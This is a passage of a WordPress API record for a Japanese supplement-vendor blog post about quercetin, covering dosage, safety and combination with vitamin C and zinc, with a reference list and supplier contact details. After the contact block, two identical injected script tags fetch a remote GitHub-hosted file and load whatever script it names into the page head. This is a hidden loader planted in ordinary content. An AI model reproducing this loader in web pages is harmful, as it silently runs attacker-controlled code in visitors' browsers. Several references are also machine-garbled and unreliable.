30c1\u30f3\u30b5\u30d7\u30ea\u30e1\u30f3\u30c8\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u30b1\u30eb\u30bb\u30c1\u30f3\u306b\u526f\u4f5c\u7528\u306f\u3042\u308b\u306e\u304b\uff1f<\/h2>\n\n\n\n<p>\u591a\u304f\u306e\u30b5\u30d7\u30ea\u30e1\u30f3\u30c8\u3068\u540c\u69d8\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u306b\u526f\u4f5c\u7528\u304c\u3042\u308b\u3053\u3068\u306f\u77e5\u3089\u308c\u3066\u3044\u306a\u3044\u3002FDA\u306f\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u306f500mg\u307e\u3067\u306e\u6442\u53d6\u3067\u3042\u308c\u3070\u4e00\u822c\u7684\u306b\u5b89\u5168\u3068\u898b\u306a\u3057\u3066\u3044\u308b\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u30b1\u30eb\u30bb\u30c1\u30f3\u306f\u3069\u306e\u304f\u3089\u3044\u6442\u53d6\u3067\u304d\u307e\u3059\u304b\uff1f<\/h2>\n\n\n\n<p>\u3042\u308b\u81e8\u5e8a\u8a66\u9a13\u3067\u306f\u30011\u65e52000mg\u306e\u30b1\u30eb\u30bb\u30c1\u30f3\u30921\u9031\u9593\u5b89\u5168\u306b\u4f7f\u7528\u3057\u305f\u3002\u5fc5\u305a\u30dc\u30c8\u30eb\u306b\u8a18\u8f09\u3055\u308c\u3066\u3044\u308b\u7528\u6cd5\u30fb\u7528\u91cf\u3092\u5b88\u3063\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u30b1\u30eb\u30bb\u30c1\u30f3\u3068\u4f75\u7528\u3067\u304d\u308b\u4ed6\u306e\u6804\u990a\u88dc\u52a9\u98df\u54c1\u306f\uff1f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>- \u30b1\u30eb\u30bb\u30c1\u30f3\u3068\u305d\u306e\u4ed6\u306e\u8001\u5316\u9632\u6b62\u85ac<\/strong><\/h3>\n\n\n\n<p>\u3042\u308b\u7a2e\u306e\u514d\u75ab\u30b5\u30d7\u30ea\u30e1\u30f3\u30c8\u306f\u3001\u4f75\u7528\u3059\u308b\u3053\u3068\u3067 \u6700\u9ad8\u306e\u52b9\u679c\u3092\u767a\u63ee\u3059\u308b\u3002\u30b1\u30eb\u30bb\u30c1\u30f3\u3068\u30d5\u30a3\u30bb\u30c1\u30f3\u3001\u30c6\u30a2\u30d5\u30e9\u30d3\u30f3\u3001\u30a2\u30d4\u30b2\u30cb\u30f3\u306a\u3069\u306e\u8001\u5316\u9632\u6b62\u5264\u3092\u4f75\u7528\u3059\u308b\u3068\u3001\u8001\u5316\u7d30\u80de\u306e\u9664\u53bb\u306b\u76f8\u4e57\u52b9\u679c\u304c\u3042\u308b\u3053\u3068\u304c\u7814\u7a76\u3067\u793a\u3055\u308c\u3066\u3044\u308b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>- \u30b1\u30eb\u30bb\u30c1\u30f3\u3068 <a href=\"https:\/\/www.backvita.com\/ja\/\u5546\u54c1\u30ab\u30c6\u30b4\u30ea\u30fc\/vitamin-derivatives\/vitamin-c\/\">\u30d3\u30bf\u30df\u30f3C<\/a><\/strong><\/h3>\n\n\n\n<p>\u30b1\u30eb\u30bb\u30c1\u30f3\u3068\u30d3\u30bf\u30df\u30f3C\u306f\u591a\u304f\u306e\u98df\u54c1\u3001\u7279\u306b\u67d1\u6a58\u985e\u306b\u3088\u304f\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u7814\u7a76\u306e\u30ec\u30d3\u30e5\u30fc\u306b\u3088\u308b\u3068\u3001\u30d3\u30bf\u30df\u30f3C\u3068\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u4f75\u7528\u306f\u76f8\u4e57\u7684\u306a\u514d\u75ab\u9632\u5fa1\u306e\u5f79\u5272\u3092\u679c\u305f\u3059\u53ef\u80fd\u6027\u304c\u793a\u5506\u3055\u308c\u3066\u3044\u308b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>- \u4e9c\u925b\u542b\u6709\u30b1\u30eb\u30bb\u30c1\u30f3<\/strong><\/h3>\n\n\n\n<p>\u4e9c\u925b\u306f\u514d\u75ab\u30b5\u30dd\u30fc\u30c8\u4f5c\u7528\u3067\u77e5\u3089\u308c\u3001\u30b1\u30eb\u30bb\u30c1 \u30f3\u306e\u514d\u75ab\u52b9\u679c\u3092\u88dc\u3046\u3053\u3068\u304c\u3067\u304d\u308b\u3002\u3042\u308b\u7814\u7a76\u3067\u306f\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u304c\u4e9c\u925b\u30a4\u30aa\u30f3\u306e\u62c5\u4f53\u3068\u3057\u3066\u50cd\u304d\u3001\u4e9c\u925b\u967d\u30a4\u30aa\u30f3\u3092\u7d30\u80de\u819c\u3092\u901a\u3057\u3066\u904b\u642c\u3059\u308b\u3053\u3068\u304c\u767a\u898b\u3055\u308c\u305f\u3002\u3053\u306e\u7814\u7a76\u306f\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u304c\u4e9c\u925b\u306e\u5438\u53ce\u3092\u9ad8\u3081\u308b\u53ef\u80fd\u6027\u3092\u793a\u5506\u3057\u3066\u3044\u308b\u3002<\/p>\n\n\n\n<p>\u53c2\u8003\u6587\u732e<\/p>\n\n\n\n<p>- Chakrawarti,L\u3089. \"EGCG\u306e\u6cbb\u7642\u52b9\u679c\uff1a\u7279\u8a31\u5be9\u67fb\", treat patent expert opinion, in August 2016, https:\/\/pubmed.ncbi.nlm.nih.gov\/27338088\/<\/p>\n\n\n\n<p>Coyle, d. \"sulforaphane: benefits, side effects and food sources\", Healthline, in February 2019, HTTPS: \/ \/ www.healthline.com\/nutrition\/sulforaphane<\/p>\n\n\n\n<p>- Heinz, S. et al. \"Supplementary quercetin and upper respiratory tract infection: randomized clinical trial community\", pharmacology research, in May 2010, https:\/\/www.ncbi.nlm.nih.gov\/labs\/pmc\/articles\/PMC7128946\/<\/p>\n\n\n\n<p>- Husam Dabbagh-Bazarbachi et al. \"Zinc ionophore activity of quercetin and epigallocatechin gallate: from Hepa 1-6 cells to liposome models.\".Journal of agricultural and food chemistry\u30012014\u5e747\u6708\u53f7\u3001https:\/\/pubs.acs.org\/doi\/abs\/10.1021\/jf5014633\u3002<\/p>\n\n\n\n<p>- Kirkland, JL and T Tchkonia.\"\u6297\u8001\u5316\u85ac\uff1a\u767a\u898b\u304b\u3089\u5909\u9769\u3078\"\u5185\u79d1\u5b66\u96d1\u8a8c\u30012020\u5e748\u6708\u53f7\u63b2\u8f09\u3001https:\/\/www.ncbi.nlm.nih.gov\/pmc\/articles\/PMC7405395\/<\/p>\n\n\n\n<p>- Kokotou, MG et al. \"High-resolution mass spectrometry studies of sulforaphane and indole-3-methanol in broccoli.\".\u98df\u54c1\u5316\u5b66\u30012017\u5e7412\u6708\u63b2\u8f09\u3001https:\/\/pubmed.ncbi.nlm.nih.gov\/28764036\/<\/p>\n\n\n\n<p>- Ostadmohammadi,V\u3089\u300cSupplementary quercetin glycemic control in patients with metabolic syndrome and related disorders: systematic review of randomized controlled trials and meta-analysis\u300d, phytotherapy research, in May 2019, HTTPS: \/ \/ pubmed.Ncbi\uff0eNLM\u306a\u304c\u3089\u3002Nih\uff0eGov \/ 30848564 \/\u3067\u3059\u3002<\/p>\n\n\n\n<p>- \u30bb\u30eb\u30d0\u30f3\u3001MC\u306a\u3069\"The effects of quercetin on blood pressure: systematic review of randomized controlled trials and meta-analysis\", the journal of the American heart association, in July 2016, https:\/\/pubmed.ncbi.nlm.nih.gov\/27405810\/.<\/p>\n\n\n\n<p>- Walsh,RP\u3089\u300c\u30b1\u30fc\u30eb\u3068\u305d\u306e\u4ed6\u306e\u91ce\u83dc\u3001\u30ab\u30ed\u30c6\u30ce\u30a4\u30c9\u542b\u6709\u91cf\u306e\u5909\u5316\uff1a\u53ce\u7a6b\u524d\u3068\u53ce\u7a6b\u5f8c\u306e\u5f71\u97ff\u30ec\u30d3\u30e5\u30fc\u300d\u3001\u30b8\u30e3\u30fc\u30ca\u30eb\u30fb\u30aa\u30d6\u30fb\u30a2\u30b0\u30ea\u30ab\u30eb\u30c1\u30e5\u30e9\u30eb\u30fb\u30a2\u30f3\u30c9\u30fb\u30d5\u30fc\u30c9\u30fb\u30b1\u30df\u30b9\u30c8\u30ea\u30fc\u30012015\u5e7411\u6708\u53f7\u3001https:\/\/pubmed.ncbi.nlm.nih.gov\/26477753\/<\/p>\n\n\n\n<p>- \"Phenol Explorer.\" http:\/\/phenol-explorer.eu\/<\/p>\n\n\n\n<p>- \"Vitamin C - Summary\", Linus Pauling Institute. https:\/\/lpi.oregonstate.edu\/mic\/vitamins\/vitamin-C<\/p>\n\n\n\n<p><strong>\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u30b5\u30d7\u30e9\u30a4\u30e4\u30fc\uff1a <em>www.backvita.com<\/em><br>E\u30e1\u30fc\u30eb\uff1ainfo@backvita.com<br>\u96fb\u8a71\u756a\u53f7+86 (029) 8187 2325<\/strong><\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>We&#8217;ve all heard the health claims, &#8220;An apple a day keeps the doctor away,&#8221; but do we know why? In addition to being a great source of fiber and vitamins, apples are also a great source of health-promoting polyphenols like quercetin. If you haven&#8217;t heard of quercetin, you&#8217;re certainly not alone; Zinc and vitamins C [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3532,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"10 quercetin Rich Foods!","_seopress_titles_desc":"Quercetin belongs to a group of plant compounds called dietary flavonoids, which are polyphenols that form the basis of many different plant pigments. ","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1394,1483],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x169.webp",300,169,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-768x431.webp",768,431,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-600x337.webp",600,337,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>We&#8217;ve all heard the health claims, &#8220;An apple a day keeps the doctor away,&#8221; but do we know why? In addition to being a great source of fiber and vitamins, apples are also a great source of health-promoting polyphenols like quercetin. If you haven&#8217;t heard of quercetin, you&#8217;re certainly not alone; Zinc and vitamins C and D are often instrumental in supporting immune health. Despite its strange name, quercetin is probably the most underrated nutrient in your diet. Its benefits go far beyond boosting the body&#8217;s natural defenses. So what is quercetin &#8211; and what other foods can you find&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ja\/category\/\u696d\u754c\u52d5\u5411\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ja\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/3848"}],"collection":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/comments?post=3848"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/3848\/revisions"}],"predecessor-version":[{"id":6574,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/3848\/revisions\/6574"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/media\/3532"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/media?parent=3848"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/categories?post=3848"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/tags?post=3848"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}